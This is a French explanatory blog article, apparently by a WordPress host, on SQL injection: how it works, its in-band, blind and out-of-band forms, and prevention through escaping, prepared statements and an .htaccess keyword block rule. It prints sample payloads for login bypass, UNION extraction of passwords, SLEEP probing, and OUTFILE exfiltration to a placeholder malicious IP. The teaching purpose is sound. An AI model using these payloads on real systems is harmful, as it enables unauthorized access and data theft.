SQL (Structured Query Language) est un langage permettant d’interagir avec des bases de données. Les applications Web modernes utilisent des bases de données pour gérer les données et afficher du contenu dynamique aux utilisateurs.
L’injection SQL, également connue sous le nom de SQLi, est une attaque visant une application Web en compromettant sa base de données à l’aide d’instructions SQL malveillantes.
Comme il s’agit d’une attaque courante, il est important d’en savoir plus sur ce qu’est l’injection SQL, comment elle se produit et comment s’en protéger.
Prêt ? Plongeons-y !
Qu’est-ce que l’injection SQL ?
L’injection SQL, ou SQLi, est un type d’attaque visant une application Web qui permet à un attaquant d’insérer des instructions SQL malveillantes dans l’application Web, lui permettant potentiellement d’accéder à des données sensibles dans la base de données ou de les détruire. L’injection SQL a été découverte pour la première fois par Jeff Forristal en 1998.
Au cours des deux décennies qui ont suivi sa découverte, l’injection SQL est toujours restée la principale préoccupation des développeurs Web lors de la conception d’applications. Selon Barclaycard, en 2012, 97 % des violations de données commençaient par une attaque par injection SQL. L’injection SQL est encore très répandue aujourd’hui et la gravité des attaques par injection dans une application Web est largement reconnue. Elle fait partie des 10 risques de sécurité les plus critiques pour les applications Web, selon l’OWASP.
Comment fonctionne la vulnérabilité de l’injection SQL ?
Une vulnérabilité d’injection SQL donne à un attaquant un accès complet à la base de données de votre application en utilisant des instructions SQL malveillantes.
Dans cette section, nous vous présenterons un exemple d’application vulnérable.
Imaginez le flux de travail d’une application Web typique qui implique des requêtes de base de données à partir des entrées utilisateur. Vous recevez les entrées utilisateur via un formulaire, par exemple un formulaire de connexion. Vous interrogez ensuite la base de données avec les champs soumis par l’utilisateur pour vérifier leur authenticité. La structure de la requête vers votre base de données ressemblerait à ceci :
select * from user_table where username = 'sdaityari' and password = 'mypassword';Pour simplifier, supposons que vous stockiez vos mots de passe en clair. Toutefois, il est recommandé de les saler et de les hacher. Si vous recevez le nom d’utilisateur et le mot de passe du formulaire, vous pouvez définir la requête en PHP comme suit :
// Connexion à la base de données SQL
$db_query = "select * from user_table where username = '".$user."' AND password = '".$password."';";
// Exécution de la requêteSi quelqu’un saisit la valeur “admin’;-” dans le champ du nom d’utilisateur, la requête SQL résultante que la variable $db_query génère sera la suivante :
select * from user_table where username = 'admin';-' and password = 'mypassword'À quoi sert cette requête ?
Un commentaire en SQL commence par un double tiret (-). La requête résultante ne filtre que par le nom d’utilisateur, sans tenir compte du mot de passe. S’il n’y a pas de sécurité en place pour empêcher cela, vous obtiendrez simplement un accès administratif à l’application Web en utilisant cette astuce.
Alternativement, une attaque booléenne peut également être utilisée dans cet exemple pour obtenir un accès. Si un attaquant saisit “password’ or 1=1;-” dans le champ du mot de passe, la requête résultante sera la suivante :
select * from user_table where username = 'admin' and password = 'password' or 1=1;-Dans ce cas, même si votre mot de passe est incorrect, vous serez authentifié sur l’application. Si votre page Web affiche les résultats de la requête de la base de données, un attaquant peut utiliser la commande “show tables” pour afficher les tables de la base de données, puis les supprimer sélectivement si nécessaire.
Un dessin animé sur l’injection SQL (source d’image : XKCD)
Exploits of a Mom, une bande dessinée populaire de XKCD, montre la conversation d’une mère avec l’école de son fils, où on lui demande si elle a vraiment appelé son fils “Robert’); DROP TABLE Students; -“.
Types d’injection SQL
Maintenant que vous connaissez les bases de la vulnérabilité de l’injection SQL, explorons les différents types d’attaques par injection SQL et les raisons qui les motivent.
Injection SQL In-Band
L’injection SQL In-Band est la forme la plus simple d’injection SQL. Dans ce processus, l’attaquant est capable d’utiliser le même canal pour insérer le code SQL malveillant dans l’application et obtenir les résultats. Nous discuterons de deux formes d’attaques par injection SQL In-Band :
Attaque basée sur des erreurs
Un attaquant utilise une technique d’injection SQL basée sur les erreurs lors des phases initiales de son attaque. L’idée derrière une injection SQL basée sur les erreurs est d’obtenir plus d’informations sur la structure de la base de données et les noms des tables suivis par l’application Web. Par exemple, un message d’erreur peut contenir le nom de la table inclus dans la requête et les noms des colonnes de la table. Ces données peuvent ensuite être utilisées pour créer de nouvelles attaques.
Attaque basée sur l’union
Dans cette méthode, un attaquant utilise l’union SQL pour afficher les résultats d’une autre table. Par exemple, si un attaquant se trouve sur une page de recherche, il peut ajouter les résultats d’une autre table.
select title, link from post_table where id < 10 union select username, password from user_table; -Injection SQL Inférentielle (Injection SQL aveugle)
Même si un attaquant génère une erreur dans la requête SQL, la réponse de la requête peut ne pas être directement transmise à la page Web. Dans ce cas, l’attaquant doit mener des recherches plus approfondies.
Dans cette forme d’injection SQL, l’attaquant envoie diverses requêtes à la base de données pour évaluer comment l’application analyse ces réponses. Une injection SQL inférentielle est parfois également appelée “injection SQL aveugle”. Nous examinerons deux types d’injections SQL inférentielles ci-dessous : l’injection SQL booléenne et l’injection SQL basée sur le temps.
Attaque booléenne
Si une requête SQL entraîne une erreur qui n’a pas été traitée en interne dans l’application, la page Web résultante peut afficher une erreur, charger une page blanche ou se charger partiellement. Dans une injection SQL booléenne, l’attaquant évalue quelles parties de l’entrée utilisateur sont vulnérables aux injections SQL en essayant deux versions différentes d’une clause booléenne à travers l’entrée :
- “… and 1=1”
- “… and 1=2”
Si l’application fonctionne normalement dans le premier cas mais présente une anomalie dans le second cas, cela indique que l’application est vulnérable à une attaque par injection SQL.
Attaque basée sur le temps
Une attaque par injection SQL basée sur le temps peut également aider un attaquant à déterminer si une vulnérabilité est présente dans une application Web. L’attaquant utilise une fonction temporelle prédéfinie du système de gestion de base de données utilisé par l’application. Par exemple, dans MySQL, la fonction “sleep()” indique à la base de données d’attendre un certain nombre de secondes.
select * from comments WHERE post_id=1-SLEEP(15);Si une telle requête entraîne un délai, l’attaquant sait qu’elle est vulnérable.
Injection SQL Out-of-Band
Si un attaquant ne peut pas récupérer les résultats d’une injection SQL par le même canal, il peut utiliser des techniques d’injection SQL Out-of-Band en guise d’alternative aux techniques d’injection SQL inférentielles.
En général, ces techniques consistent à envoyer les données de la base de données vers un emplacement malveillant choisi par l’attaquant. Ce processus dépend également fortement des capacités du système de gestion de base de données.
Une attaque d’injection SQL Out-of-Band utilise une fonction de traitement de fichiers externe de votre DBMS. Par exemple, dans MySQL, les fonctions LOAD_FILE() et INTO OUTFILE peuvent être utilisées pour demander à MySQL de transmettre les données à une source externe. Voici comment un attaquant peut utiliser OUTFILE pour envoyer les résultats d’une requête vers une source externe :
select * from post_table into OUTFILE 'MALICIOUS_IP_ADDRESSlocation'De même, la fonction LOAD_FILE() peut être utilisée pour lire un fichier sur le serveur et afficher son contenu. Une combinaison de LOAD_FILE() et OUTFILE peut être utilisée pour lire le contenu d’un fichier sur le serveur, puis le transmettre à un autre emplacement.
Comment prévenir les injections SQL
Jusqu’à présent, nous avons exploré les vulnérabilités d’une application Web qui peuvent entraîner des attaques par injection SQL. Une vulnérabilité d’injection SQL peut être utilisée par un attaquant pour lire, modifier ou même supprimer le contenu de votre base de données.
De plus, cela peut également permettre la lecture d’un fichier à n’importe quel emplacement sur le serveur et la transmission de son contenu vers un autre emplacement. Dans cette section, nous explorerons différentes techniques pour protéger votre application et votre site Web contre les attaques par injection SQL.
Échappement des entrées utilisateur
En général, il est difficile de déterminer si une chaîne de caractères utilisateur est malveillante ou non. Par conséquent, la meilleure approche consiste à échapper les caractères spéciaux dans les entrées utilisateur.
Cela vous protégera contre les attaques par injection SQL. Vous pouvez échapper une chaîne de caractères avant de construire la requête en PHP en utilisant la fonction mysql_escape_string(). Vous pouvez également échapper une chaîne de caractères en MySQL en utilisant la fonction mysqli_real_escape_string().
Lors de l’affichage de la sortie en HTML, vous devrez également convertir la chaîne de caractères pour vous assurer que les caractères spéciaux n’interfèrent pas avec le balisage HTML. Vous pouvez convertir les caractères spéciaux en PHP en utilisant la fonction htmlspecialchars().
Utilisation de déclarations préparées
Vous pouvez également utiliser des déclarations préparées pour éviter les injections SQL. Une déclaration préparée est un modèle de requête SQL dans lequel vous spécifiez des paramètres à utiliser ultérieurement pour l’exécution. Voici un exemple de déclaration préparée en PHP et MySQLi.
$query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?");
$query->execute(array($username, $password));Autres contrôles pour prévenir les attaques SQL
La prochaine étape pour atténuer cette vulnérabilité est de limiter l’accès à la base de données au strict nécessaire.
Par exemple, connectez votre application Web au DBMS en utilisant un utilisateur spécifique qui n’a accès qu’à la base de données pertinente. Restreignez également l’accès de l’utilisateur de la base de données à d’autres emplacements du serveur. Vous pouvez également bloquer certains mots-clés SQL dans votre URL via votre serveur Web. Si vous utilisez Apache en tant que serveur Web, vous pouvez utiliser les lignes de code suivantes dans votre fichier .htaccess pour afficher une erreur 403 Forbidden à un attaquant potentiel.
RewriteCond %{QUERY_STRING} [^a-z](declare|char|set|cast|convert|delete|drop|exec|insert|meta|script|select|truncate|update)[^a-z] [NC]
RewriteRule (.*) - [F]Cependant, vous devez être prudent avant d’utiliser cette technique car Apache affichera une erreur à un utilisateur si l’URL contient ces mots-clés.
Information supplémentaire : Kinsta exécute WordPress sur des serveurs Web Nginx, qui ne prennent pas en charge les fichiers .htaccess. Si vous souhaitez mettre en place une règle pour bloquer les mots-clés dans votre URL, contactez l’équipe de support de Kinsta, qui pourra vous aider.
En tant que conseil de prévention supplémentaire, vous devriez toujours utiliser des logiciels à jour. Lorsqu’une nouvelle version ou un correctif est publié, les bogues corrigés lors de la mise à jour sont détaillés dans les notes de mise à jour. Une fois que les détails d’un bogue sont rendus publics, il peut être risqué de continuer à utiliser une ancienne version d’un logiciel.
Injection SQL dans WordPress
Vous êtes à l’abri des vulnérabilités d’injection SQL si vous utilisez les fichiers du noyau de WordPress à jour. Cependant, lorsque vous utilisez des thèmes et des extensions tierces, c’est toute votre application qui est en danger.
Votre site WordPress est aussi fort que son maillon le plus faible. Dans cette section, nous explorerons les considérations clés pour atténuer la vulnérabilité de l’injection SQL dans WordPress et comment effectuer des vérifications de vulnérabilité sur votre site WordPress existant.
Prévention de la vulnérabilité des injections SQL pour WordPress
Pour atténuer la vulnérabilité de l’injection SQL dans votre thème ou extension WordPress, la seule règle que vous devez suivre est d’utiliser toujours les fonctions existantes de WordPress lors de l’interaction avec la base de données.
Ces fonctions ont été minutieusement testées pour les vulnérabilités d’injection SQL lors du processus de développement de WordPress. Par exemple, si vous souhaitez ajouter un commentaire à un article, utilisez la fonction wp_insert_comment() plutôt que d’insérer directement des données dans la table wp_comments.
Bien que ces fonctions soient extensibles, vous devrez parfois exécuter une requête plus complexe. Dans ce cas, assurez-vous d’utiliser le groupe de fonctions $wp_db. Vous pouvez utiliser $wpdb->prepare() pour échapper les entrées utilisateur avant de construire la requête.
De plus, voici une liste de fonctions permettant de filtrer les données dans WordPress. Elles vous permettent d’échapper des types spécifiques d’entrées utilisateur, tels que les adresses e-mail et les URLs.
Sécurisez votre site WordPress
Alors que WordPress lui-même est sécurisé, des problèmes tels que l’utilisation de logiciels de base obsolètes et d’extensions nulled peuvent entraîner des vulnérabilités. Bien qu’il n’y ait pas de solution miracle pour vérifier de manière exhaustive la vulnérabilité de l’injection SQL sur votre site WordPress, la complexité d’un site Web peut rendre cette tâche difficile.
Vous pouvez utiliser des outils de scan en ligne tels que ThreatPass et WPScan. Vous pouvez également vérifier les extensions pour voir si leur développement est en cours. Si elles ont été abandonnées depuis un certain temps, il peut ne pas être recommandé de les utiliser sur votre site. Si vous devez absolument les utiliser, assurez-vous de tester soigneusement leur code et leurs fonctionnalités pour détecter les éventuelles vulnérabilités.
En dehors de cela, veillez à suivre ces mesures de sécurité :
- Mettez à jour PHP, le noyau WordPress et MySQL
- Mettez à jour les extensions et les thèmes
- Évitez d’utiliser l’utilisateur root pour vous connecter à la base de données SQL
- Limitez l’accès de l’utilisateur SQL aux répertoires sensibles
- Bloquez les mots-clés SQL à l’aide de votre serveur
- Conservez vos sauvegardes hors site en cas de dommages irréversibles
Voici un article détaillé sur la sécurité de WordPress et une liste exhaustive des mesures de sécurité à prendre. De plus, vous pouvez investir dans des extensions de sécurité pour WordPress. Si malgré tous vos efforts, votre site WordPress est piraté, voici ce que vous devez faire pour les extensions de sécurité pour WordPress.
Information supplémentaire : Kinsta propose une protection contre les logiciels malveillants à tous ses clients, quel que soit le plan.
L’injection SQL est-elle illégale ?
Absolument oui ! Même s’il existe une véritable vulnérabilité, un attaquant essaie toujours d’accéder à des données qui ne lui seraient pas accessibles autrement.
Imaginez une situation où quelqu’un laisse ses clés sur le contact de sa voiture. Est-ce que le fait de voler cette voiture constitue une infraction simplement parce qu’elle était ouverte et sans surveillance ? L’acte d’injection SQL est régi par différentes lois dans différents pays. Aux États-Unis, cela relève de la Computer Fraud and Abuse Act (1986), tandis qu’au Royaume-Uni, cela relève de la Computer Misuse Act (1990).
97 % des violations de données sont dues à des injections SQL. Si vous exécutez un site Web, vous devez savoir ce qu’est l’injection SQL et comment l’empêcher de se produire. Heureusement, il y a ce guide !
Résumé
Les vulnérabilités de l’injection SQL ont été découvertes il y a longtemps. Cependant, un rapport de 2018 sur les sites Web piratés suggère que SQLi est l’attaque la plus courante après les attaques XSS. Pour les prévenir, vous devriez :
- Comprendre comment fonctionne la vulnérabilité de l’injection SQL
- Explorer les différentes méthodes utilisées par les attaquants pour utiliser l’injection SQL afin d’obtenir un accès non autorisé à votre application Web
- Mettre en place des mesures de protection contre les attaques par injection SQL, telles que l’échappement des entrées utilisateur et l’utilisation de déclarations préparées
- Suivre une routine de contrôle de sécurité
Comme dit le vieux dicton, “Mieux vaut prévenir que guérir !”
Économisez du temps et de l’argent, et maximisez les performances de votre site avec plus de 275 $ d’intégrations de niveau entreprise incluses dans chaque plan WordPress infogéré. Cela comprend un CDN haute performance, une protection DDoS, une atténuation des logiciels malveillants et des piratages, un cache edge et les machines CPU les plus rapides de Google. Obtenez sans contrat à long terme, des migrations assistées et une garantie de remboursement de 30 jours.
Consultez nos plans ou contactez-nous pour trouver le plan qui vous convient.
